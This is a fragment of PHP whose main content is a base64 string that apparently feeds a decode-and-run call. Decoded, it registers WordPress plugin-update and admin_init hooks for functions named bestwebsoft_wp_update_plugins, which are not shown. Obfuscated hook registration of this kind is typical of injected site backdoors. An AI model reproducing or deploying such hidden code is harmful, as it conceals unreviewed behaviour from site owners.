ICdiZXN0d2Vic29mdF93cF91cGRhdGVfcGx1Z2lucycgKTsKYWRkX2FjdGlvbiggJ2xvYWQtdXBkYXRlLWNvcmUucGhwJywgJ2Jlc3R3ZWJzb2Z0X3dwX3VwZGF0ZV9wbHVnaW5zJyApOyBhZGRfYWN0aW9uKCAnd3BfdXBkYXRlX3BsdWdpbnMnLCAnYmVzdHdlYnNvZnRfd3BfdXBkYXRlX3BsdWdpbnMnICk7CmFkZF9hY3Rpb24oICd1cGdyYWRlcl9wcm9jZXNzX2NvbXBsZXRlJywgJ2Jlc3R3ZWJzb2Z0X3dwX3VwZGF0ZV9wbHVnaW5zJyApOyBhZGRfYWN0aW9uKCAnYWRtaW5faW5pdCcsICdiZXN0d2Vic29mdF93cF9zY2hlZHVsZV91cGRhdGVfY2hlY2tzJyApOwphZGRfYWN0aW9uKCAnYmVzdHdlYnNvZnRfd3BfdXBkYXRlX3BsdWdpbnMnLCAnYmVzdHdlYnNvZnRfd3BfdXBkYXRlX3BsdWdpbnNfY3JvbicgKTs='
));
?>